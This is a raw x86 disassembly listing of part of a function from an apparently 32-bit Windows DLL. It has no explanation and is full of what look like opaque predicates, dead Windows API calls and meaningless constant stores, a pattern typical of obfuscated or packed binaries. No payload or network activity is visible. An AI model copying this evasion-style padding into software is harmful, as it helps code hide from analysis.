cmp dword [ebp - 0x40], eax
je 0x1003198d
push 2
lea ecx, [ebp - 0x634]
call fcn.10016aae
mov edx, dword [ebp - 0x30]
mov esi, dword [eax]
mov eax, dword [ebp - 0x30]
neg esi
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setg cl
cmp esi, ecx
jne 0x10031941
push ebx
lea ecx, [ebp - 0x634]
call fcn.10016aae
xor eax, eax
lea ecx, [ebp - 0x624]
push eax
call fcn.10016aae
push ebx
lea ecx, [ebp - 0x634]
call fcn.10016aae
mov eax, dword [ebp - 0x30]
lea ecx, [ebp - 0x624]
xor eax, eax
push eax
call fcn.10016aae
mov ecx, dword [ebp - 0x30]
xor edx, edx
test ecx, ecx
setns dl
xor ecx, ecx
cmp edx, dword [eax]
setge cl
xor eax, eax
mov dword [ebp - 0x14], ecx
cmp dword [ebp - 0x14], eax
je 0x1003198b
mov esi, ebx
jmp 0x1003198f
xor eax, eax
mov esi, eax
push eax
lea ecx, [ebp - 0x624]
call fcn.10016aae
mov ecx, dword [ebp - 0x30]
xor edx, edx
cmp esi, ecx
setge dl
cmp edx, dword [eax]
jg 0x100319ac
mov eax, dword [ebp - 0x30]
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x40]
neg edx
sbb edx, edx
xor ecx, ecx
neg edx
cmp eax, edx
setle cl
xor eax, eax
mov dword [ebp - 0x1c], ecx
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x100319d0
push eax
push eax
call edi
lea ecx, [ebp - 0x624]
call fcn.10016a92
or eax, 0xffffffff
lea ecx, [ebp - 0x634]
mov dword [ebp - 4], eax
call fcn.10016a92
dec dword [ebp - 0x30]
push 3
pop esi
cmp dword [ebp - 0x30], 0xffffffea
jl 0x1003188e
xor eax, eax
cmp dword [ebp - 0x14], eax
je 0x10031a48
mov dword [ebp - 0x14], 0x167d
cmp dword [ebp - 0x30], eax
jne 0x10031a21
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x14], eax
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x10031a8a
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_KillTimer]
jmp 0x10031a8a
push 0xfffffffffffffffb
mov dword [ebp - 0x1c], eax
pop esi
jmp 0x10031a85
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x10031a62
push eax
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x10031a82
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetTextColor]
xor eax, eax
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
je 0x10031a50
mov dword [ebp - 0x30], ebx
or eax, 0xffffffff
mov dword [ebp - 0x40], 0x37d4
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], 0xbbfad0d7
mov dword [ebp - 0x30], 0x14
jmp 0x10031c11
push 3
lea ecx, [ebp - 0x658]
call fcn.10016a10
push 2
lea ecx, [ebp - 0x648]
mov dword [ebp - 4], 0x25
call fcn.10016a10
mov byte [ebp - 4], 0x26
xor eax, eax
mov dword [ebp - 0x24], 0x2c78
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 3
jge 0x10031b03
push dword [ebp - 0x18]
lea ecx, [ebp - 0x658]
call fcn.10016aae
mov dword [eax], 0xfffffffe
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x10031ae4
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 2
jge 0x10031b2b
push dword [ebp - 0x18]
lea ecx, [ebp - 0x648]
call fcn.10016aae
mov dword [eax], 0xa87a5eaf
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x10031b0c
xor eax, eax
cmp dword [ebp - 0x40], eax
je 0x10031baf
push 2
lea ecx, [ebp - 0x658]
call fcn.10016aae
mov edx, dword [ebp - 0x30]
mov esi, dword [eax]
mov eax, dword [ebp - 0x30]
neg esi
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setg cl
cmp esi, ecx
jne 0x10031b63
push ebx
lea ecx, [ebp - 0x658]
call fcn.10016aae
xor eax, eax
lea ecx, [ebp - 0x648]
push eax
call fcn.10016aae
push ebx
lea ecx, [ebp - 0x658]
call fcn.10016aae
mov eax, dword [ebp - 0x30]
lea ecx, [ebp - 0x648]
xor eax, eax
push eax
call fcn.10016aae
mov ecx, dword [ebp - 0x30]
xor edx, edx
test ecx, ecx
setns dl
xor ecx, ecx
cmp edx, dword [eax]
setge cl
xor eax, eax
mov dword [ebp - 0x14], ecx
cmp dword [ebp - 0x14], eax
je 0x10031bad
mov esi, ebx
jmp 0x10031bb1
xor eax, eax
mov esi, eax
push eax
lea ecx, [ebp - 0x648]
call fcn.10016aae
mov ecx, dword [ebp - 0x30]
xor edx, edx
cmp esi, ecx
setge dl
cmp edx, dword [eax]
jg 0x10031bce
mov eax, dword [ebp - 0x30]
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x40]
neg edx
sbb edx, edx
xor ecx, ecx
neg edx
cmp eax, edx
setle cl
xor eax, eax
mov dword [ebp - 0x1c], ecx
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x10031bf2
push eax
push eax
call edi
lea ecx, [ebp - 0x648]
call fcn.10016a92
or eax, 0xffffffff
lea ecx, [ebp - 0x658]
mov dword [ebp - 4], eax
call fcn.10016a92
dec dword [ebp - 0x30]
cmp dword [ebp - 0x30], 0xffffffea
jl 0x10031aad
xor eax, eax
cmp dword [ebp - 0x14], eax
je 0x10031cee
mov dword [ebp - 0x14], 0x167d
cmp dword [ebp - 0x30], eax
jne 0x10031c44
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x14], eax
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x10031c6b
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_KillTimer]
xor eax, eax
mov dword [ebp - 0x38], 0x137b
lea ecx, [ebp - 0x480]
push 3
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x1c], eax
pop esi
mov dword [ebp - 0x24], 0x2573
mov dword [ebp - 0x14], eax
push esi
call fcn.10016a10
mov dword [ebp - 4], 0x27
xor eax, eax
mov dword [ebp - 0x34], 0xffff
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], ebx
jge 0x10031cc0
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0xec], ebx
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ebx
jl 0x10031cac
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], esi
jge 0x10031ce6
push dword [ebp - 0x20]
lea ecx, [ebp - 0x480]
call fcn.10016aae
mov dword [eax], 0xbb000e2e
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], esi
jl 0x10031cc8
xor eax, eax
push 4
mov dword [ebp - 0x20], eax
pop ecx
jmp 0x10031d45
push 0xfffffffffffffffb
mov dword [ebp - 0x1c], eax
pop esi
cmp dword [ebp - 0x1c], esi
jne 0x10031c69
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x10031d0f
push eax
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x10031d2f
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetTextColor]
xor eax, eax
dec dword [ebp - 0x1c]
jmp 0x10031cf4
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x1098], 0
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ecx
jl 0x10031d34
dec dword [ebp - 0x34]
je 0x10031d5b
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x14]
jge 0x10031d5b
mov eax, ebx
jmp 0x10031d5d
xor eax, eax
mov edx, dword [ebp - 0x14]
xor ecx, ecx
imul edx, eax
mov eax, dword [ebp - 0xec]
push ebx
cmp edx, eax
setl cl
mov dword [ebp - 0x14], ecx
lea ecx, [ebp - 0x480]
call fcn.10016aae
mov esi, dword [ebp - 0xec]
lea ecx, [ebp - 0x480]
push ebx
add esi, dword [eax]
call fcn.10016aae
mov ecx, dword [ebp - 0x14]
add ecx, esi
cmp ecx, dword [eax]
jne 0x10031db3
xor eax, eax
lea ecx, [ebp - 0x480]
push eax
call fcn.10016aae
cmp dword [eax], 0
je 0x10031db3
mov esi, ebx
jmp 0x10031db7
xor eax, eax
mov esi, eax
push 2
lea ecx, [ebp - 0x480]
call fcn.10016aae
cmp esi, 0xfffb
sbb ecx, ecx
neg ecx
sub ecx, dword [ebp - 0xec]
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
mov dword [eax], ecx
mov eax, dword [ebp - 0x1090]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1090]
dec dword [ebp - 0x38]
mov ecx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x40]
cmp ecx, eax
setne dl
mov dword [ebp - 0x40], edx
mov dword [ebp - 0x28], ebx
imul eax, dword [ebp - 0x28], 0x3651
cmp eax, ebx
sbb eax, eax
xor ecx, ecx
inc eax
add eax, dword [ebp - 0x1c]
add eax, dword [ebp - 0x40]
cmp eax, 0x870b
mov eax, dword [ebp - 0x38]
setle cl
xor edx, edx
cmp eax, ecx
setg dl
sub edx, dword [ebp - 0xec]
neg edx
sbb edx, edx
xor eax, eax
inc edx
mov dword [ebp - 0x1c], edx
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x10031e57
push eax
push eax
push 0x1c14
push 0x68b
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SendDlgItemMessageA]
or edi, 0xffffffff
lea ecx, [ebp - 0x480]
mov dword [ebp - 4], edi
call fcn.10016a92
movdqa xmm0, xmmword [0x10007df0]
lea eax, [ebp - 0x1168]
push eax
lea eax, [ebp - 0x1178]
push eax
lea ecx, [ebp - 0x1328]
movdqu xmmword [ebp - 0x1178], xmm0
call fcn.10016ac0
lea ecx, [ebp - 0x161]
mov esi, eax
call fcn.10016abd
push eax
push dword [esi + 4]
lea ecx, [ebp - 0x12cc]
push dword [esi]
call fcn.10016a6c
xor eax, eax
mov dword [ebp - 0x14], edi
push 3
mov dword [ebp - 0x14], eax
pop esi
jmp 0x10031ed7
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x10031ed4
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
xor eax, eax
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jle 0x10031ebc
lea ecx, [ebp - 0x12cc]
call fcn.10016a92
mov dword [ebp - 0x24], 0x5f5c184c
lea ecx, [ebp - 0xe84]
mov dword [ebp - 0x24], 0x182bd7b1
mov dword [ebp - 0x24], 0xb950ba1b
mov dword [ebp - 0x24], 9
mov dword [ebp - 0x24], 0x25fa5fef
mov dword [ebp - 0x24], 0xfffffffc
mov dword [ebp - 0x24], ebx
push ebx
call fcn.10016a10
mov dword [ebp - 4], 0x28
xor eax, eax
mov dword [ebp - 0x34], 0xffff
mov dword [ebp - 0x14], eax
jmp 0x10031f46
push dword [ebp - 0x14]
call fcn.10016aae
mov dword [eax], 0x6ec6e54e
inc dword [ebp - 0x14]
lea ecx, [ebp - 0xe84]
cmp dword [ebp - 0x14], ebx
jl 0x10031f35
dec dword [ebp - 0x34]
mov dword [ebp - 4], edi
call fcn.10016a92
mov dword [ebp - 0x30], ebx
lea ecx, [ebp - 0xd90]
push esi
call fcn.10016a10
push ebx
lea ecx, [ebp - 0x588]
mov dword [ebp - 4], 0x29
call fcn.10016a10
xor eax, eax
mov byte [ebp - 4], 0x2a
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], esi
jge 0x10031faa